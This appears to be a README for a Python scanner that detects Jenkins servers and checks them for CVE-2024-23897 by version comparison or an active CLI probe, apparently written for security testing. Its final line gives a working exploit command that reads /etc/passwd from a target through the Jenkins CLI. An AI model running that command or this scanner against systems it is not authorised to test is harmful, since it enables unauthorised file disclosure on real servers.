jenkins_scan

Find Jenkins environment and check for CVE-2024-23897

How it works

Jenkins Detection

Tests the paths: /, /login, /oops, /api/json, /cli, /jenkins/, /jenkins/api/json

Identifies via:

1. Header X-Jenkins — most reliable, also returns the version
2. Header X-Hudson — older instances
3. Body HTML — strings like "login to jenkins", "hudson.model", etc.
4. /api/json — confirms through JSON structure (_class, jobs, views)

Verification of CVE-2024-23897

Passive (default): compares the detected version with the thresholds:

• Weekly: < 2.442 → vulnerable
• LTS: < 2.426.3 → vulnerable

Active (--active): sends the Jenkins CLI binary protocol handshake over HTTP. If the server responds with 200 + Content-Type: application/octet-stream, it confirms that the CLI channel is open and the exploit is applicable.

Usage

Basic Scan

python jenkins_scan.py -f urls.txt

With active probe + Burp as proxy + output to file

python jenkins_scan.py -f urls.txt --active --proxy http://127.0.0.1:8080 -o resultados.txt

20 threads, verbose, no color (for pipe/grep)

python jenkins_scan.py -f urls.txt -t 20 -v --no-color

Confirm exploit manually on vulnerable target

java -jar jenkins-cli.jar -s http://TARGET/ who-am-i "@/etc/passwd"